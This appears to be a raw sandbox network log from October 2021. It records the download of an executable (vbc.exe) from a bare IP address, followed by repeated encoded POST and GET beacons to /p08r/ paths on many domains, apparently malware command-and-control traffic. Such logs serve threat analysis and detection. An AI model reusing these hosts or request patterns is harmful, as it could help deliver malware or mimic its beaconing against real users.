Network Analysis

GET /0789/vbc.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: 198.12.107.117 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 06 Oct 2021 04:28:24 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/8.0.10 Last-Modified: Tue, 05 Oct 2021 02:07:48 GMT ETag: "4aac1-5cd917efe9b6b" Accept-Ranges: bytes Content-Length: 305857 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

POST /p08r/ HTTP/1.1 Host: www.tradeplay.net Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.tradeplay.net User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.tradeplay.net/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /p08r/?sZ=4thJWcvRSTe4hV1bGSZ95meEdt450t9mNZxRaqxPEFoJU5xgEKef2WLJHyAlacZU2kQP+u82&4hO=NVxxIf HTTP/1.1 Host: www.tradeplay.net Connection: close

HTTP/1.1 404 Not Found Date: Wed, 06 Oct 2021 04:28:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U3IwwHuS%2BrIAoqfQgD%2FXyepCPG%2B0Tcgje63aBpkHXQga1B%2Bpy%2FdpWNRbl2UaLFpIVDFiM3ZZIgrW8fdu57MAdZhGsAo%2FFnIwW%2FxUBTmw0o5P5fA%2FQXoOGsNqb5gMDxdFvZChDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 699c250cc8010a76-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

POST /p08r/ HTTP/1.1 Host: www.tasteofgadsdencounty.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.tasteofgadsdencounty.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.tasteofgadsdencounty.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Wed, 06 Oct 2021 04:28:50 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_MNiTX+TgR1gZOMB6GSk8aiyM0zNDLysxzLtlWl1DtGjRg3/TAcmsHf78+vLoyPXa9/TcbVilp+EYPB7MovxD6A Via: 1.1 google Connection: close

GET /p08r/?sZ=r9Yl5R9exgSt+THckHRGQHMSQ7lUP1MIKTFoA2QCQOTNM6XNLCYZhM17LQ5O2O7QDP/PNXJW&4hO=NVxxIf HTTP/1.1 Host: www.tasteofgadsdencounty.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 06 Oct 2021 04:28:50 GMT Content-Type: text/html Content-Length: 275 ETag: "615c5df0-113" Via: 1.1 google Connection: close

POST /p08r/ HTTP/1.1 Host: www.blinglj.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.blinglj.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.blinglj.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /p08r/?sZ=VhZ5aNjufsg8yIKFt86vwNN5rsRGseTwSosfAD2rdPJJdPLarQSvJQIy1XR6o6k+V62Ea4hf&4hO=NVxxIf HTTP/1.1 Host: www.blinglj.com Connection: close

HTTP/1.1 403 Forbidden Date: Wed, 06 Oct 2021 04:29:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 178 X-Sorting-Hat-ShopId: 54634315955 X-Dc: gcp-asia-northeast2 X-Request-ID: 533a0f86-cf64-4ea9-b9ed-30054998781d X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block X-Download-Options: noopen CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 699c25726fecfbe4-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

POST /p08r/ HTTP/1.1 Host: www.xaudix.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.xaudix.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.xaudix.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 400 Bad Request Connection: close

GET /p08r/?sZ=AfsQzanRa/K71Sp+FC4vF/VUIPkDyKYCI0bhlWQZ5rKPtKnDleIrjtZ/eJx+lPng/2gI4886&4hO=NVxxIf HTTP/1.1 Host: www.xaudix.com Connection: close

HTTP/1.1 400 Bad Request Connection: close

POST /p08r/ HTTP/1.1 Host: www.puremicrodosing.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.puremicrodosing.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.puremicrodosing.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Date: Wed, 06 Oct 2021 04:29:12 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1

GET /p08r/?sZ=S62BtV/OXf7l+Oi9TcRmwChwada/mHY3jxfUfEoy5xEvr99fIfi+QJg3WuTcsjgo8nY7wmXr&4hO=NVxxIf HTTP/1.1 Host: www.puremicrodosing.com Connection: close

HTTP/1.1 404 Not Found Date: Wed, 06 Oct 2021 04:29:13 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1

POST /p08r/ HTTP/1.1 Host: www.shopmoly.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.shopmoly.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.shopmoly.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /p08r/?sZ=haQmUSKM/WHARPa2Lp+DqCKAjRoaKWuSZ/KrsjvHPH5ydyX7t0iOLK3MGHUJ/6Ys8itQ83ll&4hO=NVxxIf HTTP/1.1 Host: www.shopmoly.com Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx/1.21.0 Date: Wed, 06 Oct 2021 04:29:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: PHPSESSID=gfcj69ntj0qdj1nbl7phog1t97; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: https://www.shopmoly.com/p08r/?sZ=haQmUSKM/WHARPa2Lp+DqCKAjRoaKWuSZ/KrsjvHPH5ydyX7t0iOLK3MGHUJ/6Ys8itQ83ll&4hO=NVxxIf

POST /p08r/ HTTP/1.1 Host: www.standunitedforamerica.us Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.standunitedforamerica.us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.standunitedforamerica.us/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Wed, 06 Oct 2021 04:29:24 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_C6z6ekTqDoL9OCQsibwQOFvzMsTi/Je0qp3kFmexFNLCjiqHKdUL5I5cAszo5vSitjsLEgxGZmSpU220eAwGUQ Via: 1.1 google Connection: close

GET /p08r/?sZ=B2ekqSjam2FgOpOVxsnLxAFuSlZHI4NAcaOSHs117iNT154ovp+tvM1jF1ib5fJR9u9nduUX&4hO=NVxxIf HTTP/1.1 Host: www.standunitedforamerica.us Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 06 Oct 2021 04:29:24 GMT Content-Type: text/html Content-Length: 275 ETag: "615c5e04-113" Via: 1.1 google Connection: close

POST /p08r/ HTTP/1.1 Host: www.wandawallinbristow.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.wandawallinbristow.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.wandawallinbristow.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /p08r/?sZ=rIasJTgHnlhvn49Ec1ufSUMfKeevfsoIo8VQBxBAm8yCbmuzA/iYh299dFqwI1FD4s8UWgPB&4hO=NVxxIf HTTP/1.1 Host: www.wandawallinbristow.com Connection: close

POST /p08r/ HTTP/1.1 Host: www.110cy.top Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.110cy.top User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.110cy.top/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Oct 2021 04:29:36 GMT Content-Type: text/html Content-Length: 548 Connection: close

GET /p08r/?sZ=MhB7f0VRGu4oeye/TacVaH4JpmGIqSeDQM+dXwNRcYHzFlxosf73jULnoJMcxlrSEXGcWsCB&4hO=NVxxIf HTTP/1.1 Host: www.110cy.top Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Oct 2021 04:29:36 GMT Content-Type: text/html Content-Length: 146 Connection: close

POST /p08r/ HTTP/1.1 Host: www.apeironnature.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.apeironnature.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.apeironnature.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Wed, 06 Oct 2021 04:29:41 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_jMpmog3Cyl7z4SGJ/ullqSeWOIKiP1wBlnJg/mDhB4TsTAUhucDoVr/e9dVGR1iPBTgetgUEvaIATYBvr9U9nA Via: 1.1 google Connection: close

GET /p08r/?sZ=2/kdXLcJs10/2cxW7t+Sgy9pAx78D6goaK23LVVxeGeEx+y6ZAUjhmiP7vRD9HtJk4HFEsVc&4hO=NVxxIf HTTP/1.1 Host: www.apeironnature.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 06 Oct 2021 04:29:41 GMT Content-Type: text/html Content-Length: 275 ETag: "615c5dfa-113" Via: 1.1 google Connection: close

POST /p08r/ HTTP/1.1 Host: www.oarlary.xyz Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.oarlary.xyz User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.oarlary.xyz/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /p08r/?sZ=HWuJJXMS6EhDI+SwYjpjarifwZNGFMDpOH1wTDyGnvjHCAjlH9SD6hFmgIuMNdw6hyZKLj5p&4hO=NVxxIf HTTP/1.1 Host: www.oarlary.xyz Connection: close

HTTP/1.1 503 Service Unavailable Date: Wed, 06 Oct 2021 04:29:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QK5iiS8voIF3hfu89mt%2FfWVT52H9DNg0%2FCS%2BxgWtGvToAPcC2YjS12vcPTLCw%2BeKHicPlLk%2BeRRbsvRLlgaGaMzUX9%2F5YtQvXzDhztKap9siwkkAMr7eOZHVE3Qhh2r2EeA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 699c26907ae40a6a-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

POST /p08r/ HTTP/1.1 Host: www.happinessfashionline.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.happinessfashionline.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.happinessfashionline.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 06 Oct 2021 04:29:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip

GET /p08r/?sZ=it2rKjXdnbVdg6Y0HoOw2Hy/OdzuHI5rq3rX4BBmEIww4S6XrH8d+i6ixz5qwTyrhXsqwNMN&4hO=NVxxIf HTTP/1.1 Host: www.happinessfashionline.com Connection: close

HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 06 Oct 2021 04:29:53 GMT Content-Type: text/html Content-Length: 146 Connection: close

POST /p08r/ HTTP/1.1 Host: www.tamaracastrillejo.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.tamaracastrillejo.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.tamaracastrillejo.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

GET /p08r/?sZ=CnBaoYh9B4vymKiOFoQY3BcfDLNsJjln6ysWXfUNxXKSA6sOsy6cNvjP7hJHh5O3EQTGDoh3&4hO=NVxxIf HTTP/1.1 Host: www.tamaracastrillejo.com Connection: close

HTTP/1.1 301 Moved Permanently Date: Wed, 06 Oct 2021 04:29:58 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Wed, 06 Oct 2021 05:29:58 GMT Location: https://www.tamaracastrillejo.com/p08r/?sZ=CnBaoYh9B4vymKiOFoQY3BcfDLNsJjln6ysWXfUNxXKSA6sOsy6cNvjP7hJHh5O3EQTGDoh3&4hO=NVxxIf Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OtUwFm8b%2Bq5XhmWpjwqXyZ4Sk6F0bLALCFc5qjyYJYNCL26P%2BSLo%2FF2Ki6Md6hIxSZT3pIsjk%2FApHdHsOdsvVBAQd11Fi4oGU2XFqVWgdAA7dVuvo7G9SxNlxwyaylQNtxu9QWczR0BaMYSI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 699c26d78bd9fcd1-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

POST /p08r/ HTTP/1.1 Host: www.minisoshop.com Connection: close Content-Length: 280 Cache-Control: no-cache Origin: http://www.minisoshop.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.minisoshop.com/p08r/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.hugedomains.com/domain_profile.cfm?d=minisoshop&e=com Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 06 Oct 2021 04:29:37 GMT Connection: close Content-Length: 186

GET /p08r/?sZ=yt/y475BYeETL6/9CyyYP81IgtfMvB7e1GH5lU8k0UJ3W/3fb9aNkbEZFhB5uAoBowubwcMf&4hO=NVxxIf HTTP/1.1 Host: www.minisoshop.com Connection: close

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.hugedomains.com/domain_profile.cfm?d=minisoshop&e=com Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 06 Oct 2021 04:29:25 GMT Connection: close Content-Length: 186